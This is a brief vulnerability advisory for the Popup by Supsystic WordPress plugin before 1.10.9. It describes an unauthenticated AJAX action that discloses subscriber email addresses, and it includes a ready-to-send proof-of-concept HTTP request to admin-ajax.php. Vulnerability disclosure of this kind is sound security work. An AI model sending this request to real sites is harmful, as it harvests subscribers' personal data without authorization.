Popup by Supsystic < 1.10.9 - Unauthenticated Subscriber Email Addresses Disclosure

The plugin does not have any authentication and authorisation in an AJAX action, allowing unauthenticated attackers to call it and get the email addresses of subscribed users

PoC

POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Length: 104 Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close page=subscribe&action;=getListForTbl&reqType;=ajax&search;[text_like]=&_search=false&pl;=pps&sidx;=id&rows;=10